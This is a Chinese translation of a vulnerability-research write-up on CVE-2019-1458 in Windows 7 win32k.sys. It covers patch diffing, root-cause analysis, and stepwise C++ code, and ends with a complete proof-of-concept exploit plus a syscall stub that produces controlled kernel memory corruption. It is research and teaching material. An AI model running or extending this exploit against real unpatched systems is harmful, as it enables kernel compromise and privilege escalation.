CVE-2019-1458: 从'漏洞报告'到POC的编写过程

本文翻译自: https://github.com/piotrflorczyk/cve-2019-1458_POC ,仅供学习交流

介绍

卡巴斯基在12月发布了一篇关于0day exploit used in the wild的文章。这提起了我的兴趣,他们只是简单描述了漏洞的工作和利用方式,但却没有提供任何详细的POC。于是我决定尝试根据卡巴斯基博客的文章和补丁分析为该漏洞编写POC。

信息搜集

第一件事就是我们需要尽可能的搜集有关此漏洞的信息。在阅读上文提到的博客中,我提取了以下信息:

  • 这个漏洞和窗口切换功能有关
  • 需要模拟按下ALT键去触发
  • 需要对未文档化的NtUserMessageCall函数进行两次调用
  • 需要创建一个特殊的切换窗口
  • 一些关于内核函数win32k!DrawSwitchWndHilite的文档

除此之外还有一个很不错的反编译图片,显示了上面列出的一些内容。具体来说图片显示了:创建一个切换窗口,调用 toggle_alt_key函数并多次调用了NtUserMessageCall函数的过程(图片来源)

Part of decompiled exploit code

有许多有用的信息,但是仍然没有描述对漏洞工作方式和触发的细节。

补丁对比

漏洞模块是win32k.sys,我下载了该模块的修复和未修复版本。

对于win 7 x64而言,补丁编号是:

  • 修复编号: KB4530692
  • 未修复编号: KB4525233

可以从微软官方补丁下载网站去下载它们

下面是用 bindiff 比较两个版本的结果

win32k comparison

在排除一些和功能性有关的DebugHook函数之后,我们需要关注的就是这个稍微改变了一些的 InitFunctionTables()函数表

InitFunctionTables changes

这里肯定不是最关键的补丁所在。这不会帮助我们立即识别漏洞的关键点,但值得注意的是新添加的*(gpsi+0x14E), *(gpsi+0x154), *(gpsi+0x180) ,这里可能存在和未初始化变量相关的漏洞。

一步一步构造POC

在本节中我会逐步构造触发此漏洞的POC,同时我也会分析清楚这个漏洞的根本原因。

从何处开始

补丁对比一开始没有给出很多有用的信息,所以在开发的第一阶段,我主要是依据卡巴斯基的分析文章。为了有一个良好的测试环境,我提前准备了 Win7 SP1 x64的虚拟机并拥有最新版本的win32k补丁。需要注意的是我将Windbg附加到该虚拟机上进行内核调试,同时我还配置好了它的符号路径。

我决定通过博客文章中提到的win32k!DrawSwitchWndHilite 函数开始我的分析。有两个地方交叉引用到了它:xxxMoveSwitchWndHilite函数和xxxPaintSwitchWindow函数,后者立刻引起了我的注意,因为其中在GetKeyState/GetAsyncKeyState 周围调用到了博客中提到的关键函数并且它检查了ALT键是否被按下。

Interesting callsite to DrawSwitchWndHilite

注:从xxxPaintSwitchWindow中调用DrawSwitchWndHilite

在交叉引用观察之后(xxxWrapSwitchWndProc->xxxSwitchWndProc->xxxPaintSwitchWindow->DrawSwitchWndHilite),我发现该调用链的第一个函数在InitFunctionTables表中,也是在补丁中修复的函数。

接下来我把目光移到了NtUserMessageCall函数上,下面是它的函数申明

1
NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOLEAN bAnsi)

Exploit是通过调用它并在参数中赋值了msg = 0x14dwType = 0xE0,让我们看看它是如何做到的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;

printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}

printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0xE0, 1);

在这里我简单的注册了一个窗口类并创建了窗口,然后我调用了NtUserMessageCall函数并赋予它和exploit中相同的参数观察结果。为了了解实际情况,我设置了断点 kd> ba e 1 win32k!NtUserMessageCall并运行代码。

其中被断下来很多次,我们必须获取正确的调用链,这并不困难,因为它的调用栈很短。

NtUserMessageCall

注:NtUserMessageCall

单步调试代码可以发现它从 gapfnMessageCall 数组指针中通过索引来调用的函数,这里索引是0,索引是根据msg值计算的,因此他会调用NtUserfnDWORD函数

NtUserfnDWORD

注:NtUserfnDWORD

下一个调用会比较dwType的值,并且现在gpsi的偏移等于0x40,导致调用到xxxWrapSwitchWndProc函数(这个函数在刚才DrawSwitchWndHilite函数的调用链中出现)。

xxxWrapSwitchWndProc函数中又调用了xxxSwitchWndProc函数

xxxSwitchWndProc

注:xxxSwitchWndProc

代码执行到这里就会失败,没有办法继续执行到xxxPaintSwitchWindow函数,这是我们基于msg值等于0x14执行的流程。让我们检查一下原因。

触发正确的路径

就像前面那张图显示的,代码在这个地方会执行失败,因为窗口的fnid值不等于0x2A0 (FNID_SWITCH),并且正在发送的消息不等于1,所以会直接结束xxxDefWindowProc函数。为了避免这种情况,我们需要将fnid值设置为FNID_SWITCH然后再调用xxxSwitchWndProc 函数,这样我们就可以通过执行switch语句调用到xxxPaintSwitchWindow函数。

如何设置正确的fnid值?实际上上图中红色框已经显示的很清楚了,我们只需要将if中的检查全部失败即可到达设置fnid值的地方。

下面是一些我们需要满足的条件,使这三个if判断都失败:

  • fnid == 0cbwndExtra + 0x128 >= *(gpsi + 0x154)

    对于每个用户创建的新窗口而言,它的fnid值都为0,*(gpsi+0x154)值在未修复版本的win32k中为0,在修复版本中即使它被设置为0x130,我们仍可以通过将cbwndExtra设置为8或更高从而绕过第一个检查

  • msg == 1

    可以通过NtUserMessageCall函数进行设置,虽然将msg 设为 1可以控制流程执行到 NtUserfnINLPCREATESTRUCT而不是 NtUserfnDWORD 但是它仍会在xxxSwitchWndProc处终止

  • extraData == 0

    extraData的大小可以通过注册窗口时的cbwndExtra值来确定。extraData会紧接在tagWND结构之后(我在IDA中将这个字段使用 QWORD类型添加到tagWND结构里在sizeof(tagWND)偏移处,这样会增加反编译代码的阅读性)。它的值可以通过调用SetWindowLongPtr函数直接来设置。

如果满足上述所有条件,窗口的fnid值就会设置为FNID_SWITCH

因此我们现在需要调用两次NtUserMessageCall 函数,第一次将参数msg 赋值为 1 来设置需要的fnid值,第二次则直接调用到达xxxPaintSwitchWindow问题函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc

printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}

printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}

printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
NtUserMessageCall(sploitWnd, WM_CREATE/* = 1*/, 0, 0, 0, 0x0, 1);

printf("[*] Calling NtUserMessageCall second time");
NtUserMessageCall(sploitWnd, WM_ERASEBKGND/* = 0x14*/, 0, 0, 0, 0x0, 1);

我为窗口类添加了extraData,并添加了第二次调用的NtUserMessageCall函数。现在我们的调用链就可以达到xxxPaintSwitchWindow函数了。

(附带说明:dwType 的值不需要等于 0xE0, 其值为 0 效果也是一样的 , 因为在 NtUserfnDWORD 函数中会和 0x1F 进行与操作)

xxxPaintSwitchWindow

注:xxxPaintSwitchWindow

经过仔细的检查,我发现从窗口对象(25行)获取的 extraWndData的值会被当成一个指针去修改一块内存的值!(46-52行)如果我能通过代码设置extraWndData的值,那我们就可以实现破坏任意内存!

要达到此目的我们需要再通过一些检查(红色标记):

  • 检查窗口属性是否有WS_VISIBLE标志

    这个标志可以直接通过CreateWindowEx设置

  • fnid == 0x2A0cbwndExtra + 0x128 == *(gpsi + 0x154)

    fnid的值已经被第一次调用的NtUserMessageCall函数设定了。

    问题出在第二个检查,由于 *(gpsi + 0x154)没有在未补丁的win32k模块中初始化,因此这里的检查会一直不通过。除非我们以某种方式将其设置为正确的值。事实证明,创建特殊的切换窗口(卡巴斯基文章中提到)可以做到这一点。

  • 检查窗口是否未销毁

    在这种情况下已经实现未销毁。

要创建特殊的切换窗口,我们需要调用CreateWindowEx函数并设置窗口名为0x8003 (#32771)。这样我们最终就会在内核中调用到InternalRegisterClassEx函数

InternalRegisterClassEx

注:InternalRegisterClassEx 函数片断

这里会初始化*(gpsi+0x154) 的值为 0x130

这样做的副作用是,这个变量值一旦被设定,就无法再设置为0。因此,我们只有一次运行exploit的机会。任何其他的尝试都会在下次重新运行之前失败。

控制解引用的值

现在,我们可以控制extraWndData的值后来作为指针被解引用并且传入xxxPaintSwitchWindow中,extraWndData 可以通过调用如下函数控制

1
SetWindowLongPtr(HWND hWnd, int nIndex, LONG_PTR dwNewLong)

需要关注的一件事情是,我们必须在第一次调用NtUserMessageCall函数之后进行此调用,因为如下图所示,在第一次调用时xxxSwitchWndProc函数要将窗口的extraData值设置为0,所以我们需要绕过这个检查。

在创建切换窗口之前SetWindowLongPtr 函数也需要进行调用,参见下图:

xxxSetWindowLong

注:xxxSetWindowLong函数片段

这是我们实际利用未初始化变量*(gpsi + 0x154)的地方,通过此检查后,我们将wnd->extraData设置为任意值。如果正确初始化,则此处的利用将失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
HINSTANCE hInstance = GetModuleHandle(NULL);

WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc

printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}

printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}

printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0x0, 1);

printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
SetWindowLongPtr(sploitWnd, 0, 0x4141414141414);
printf("[*] GetLastError = %x\n", GetLastError());

printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);

这是运行上述代码的结果

Debugging succesful run of exploit

不久之后,当 rdi 取消引用时,我们就会产生一次异常检查。在修复的Windows上运行利用程序显示如下:

1
2
3
4
5
6
7
[*] Registering window
[*] Creating instance of this window
[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window
[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced
bold:[*] GetLastError = 585
[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130
[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time

SetWindowLongPtr 函数失败,返回错误码为 0x585 因为*(gpsi + 0x154)变量被正确的初始化了,所以不会引起异常检查。

根本原因(回顾)

总的来讲,主要问题是未正确初始化*(gpsi+0x154)变量。

但这个值有什么作用,为何它如此重要?

gpsi是一个全局指针指向tagSERVERINFO结构。这个结构描述了系统窗口(意味着菜单,桌面,切换等等),而不是用户窗口。这些窗口通过FNID值进行识别,例如 0x2A0 代表着切换窗口。

当使用RegisterClassEx注册窗口时,我们有机会在WNDCLASSEX上指定cbWndExtra 字段,该字段描述了除tagWND结构外还将分配多少字节的额外数据,以储存窗口的额外信息。然后,我们可以通过调用SetWindowLongPtr函数修改这些额外的字节。

系统窗口使用完全相同的机制来储存工作所需要的额外数据。但是原则上,不应使用 SetWindowLongPtr修改此数据。我们看到xxxSetWindowLongPtr函数中确实有一个阻止它的检查。在申明类型信息之后,下面是检查部分:

1
2
if (nIndex >= gpsi->mpFnid_serverCBWndProc[(window->fnid & 0x3FFF) - FNID_FIRST] - sizeof(tagWND))
goto exit_with_error

数组gpsi->mpFnid_serverCBWndProc描述了给定的系统窗口对象(包括额外数据)的大小。

*(gpsi+0x154) 成为gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]。通过使该字段保持未初始化状态,xxxSetWindowLongPtr 认为额外数据的大小为 sizeof(tagWND),因此,我们能够写入的是切换窗口结构中的私有字段。

这个漏洞的根本原因是未初始化(或者默认情况下初始化为0)的变量gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]

这解释了为什么这个补丁这么小。需要做的事情只是将其设置为sizeof(tagWND) + 8。以相同的方式现在也初始化了一些其他变量在 mpFnid_serverCBWndProc 数组中(FNID_DESKTOP, FNID_TOOLTIPS),这应该也是为了防止其他类似的变种利用方法。

InitFunctionTable with types

破坏内存

运行exploit我们可以产生一次异常,崩溃发生在以下指令:

1
2
xxxPaintSwitchWindow + 0x8B:
cmp [rdi+6Ch], r13d ; rdi = 0x4141414141414

在编写POC的最后一步是造成更有用的崩溃,或者造成更好的内存损坏并不使系统崩溃。

为了实现最后一步,我们需要:

  • 提供一个有效的指针指向可读可写的内存

    我选择使用VirtualAlloc函数去分配一些内存并将返回的指针作为参数传递给SetWindowLongPtr

  • 模拟按下ALT键

    就像之前提到的,我们会在xxxPaintSwitchWindow 函数中调用 GetKeyState/GetAsyncKeyState 并检查是否有按下ALT键。如果没有按下,程序就会退出。不论是使用GetKeyState 还是 GetAsyncKeyState 它们都是由[extraWndData+6Ch]中的标志决定

    我选择调用SetKeyboardState函数来模拟ALT键。这只适用于和 GetKeyState 函数一起调用,因此我需要将偏移 0x6C 处的值设置为 1

1
2
3
4
5
6
7
8
9
ptr = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SetWindowLongPtr(sploitWnd, 0, ptr);

BYTE keyData[256];
GetKeyboardState(keyData);
keyData[VK_MENU] |= 0x80; // simulate ALT
SetKeyboardState(keyData);

((BYTE*)ptr)[0x6c] = 1; // force use of GetKeyState inside xxxPaintSwitchWindow

通过这段代码,我发生了另一次崩溃

1
2
3
4
DrawSwitchWndHilite + 0x10A:
mov rcx, [r12+20h]
mov dl, 1
mov rcx, [rcx] ; rcx = 0

因此,我提供了一个有效的偏移量指针0x20(指向自身)

1
ptr[0x20 / sizeof(*ptr)] = ptr; // make double derefence succeed

现在该漏洞利用程序可以正常工作而不会崩溃,并且当我们检查分配的页面的内容时,我们可以看到它已被修改!

Memory content

我们实现了一个稳定的POC并且破坏了一块给予它的内存。这比在内存读取时POC崩溃要好得多,因为这种任意的内存损坏可以更容易地转变为任意的内核读/写。另外,我们已经提出了要损坏内存必须满足的条件。

结论

在这次练习中我介绍了如何通过一个漏洞描述报告实现一个有用的内核漏洞利用的POC。

这是一个非常有趣的利用就因为少了一行的代码。所以我想说的是,永远要记得初始化你的全局变量。

POC

poc.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <cstdio>
#include <windows.h>

extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);

int main() {
HINSTANCE hInstance = GetModuleHandle(NULL);

WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0

printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}

printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}

printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);

printf("[*] Allocate memory to be used for corruption\n");
PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("\tptr: %p\n", mem);
PBYTE byteView = (PBYTE)mem;
byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow

//pass DrawSwitchWndHilite double dereference
PVOID* ulongView = (PVOID*)mem;
ulongView[0x20 / sizeof(PVOID)] = mem;

printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
printf("[*] GetLastError = %x\n", GetLastError());

printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

printf("[*] Simulating alt key press\n");
BYTE keyState[256];
GetKeyboardState(keyState);
keyState[VK_MENU] |= 0x80;
SetKeyboardState(keyState);

printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}

asm.asm

1
2
3
4
5
6
7
8
9
10
11
12
13
_DATA SEGMENT
_DATA ENDS
_TEXT SEGMENT

PUBLIC NtUserMessageCall
NtUserMessageCall PROC
mov r10, rcx
mov eax, 1007h ; Win7 sp1
syscall
ret
NtUserMessageCall ENDP
_TEXT ENDS
END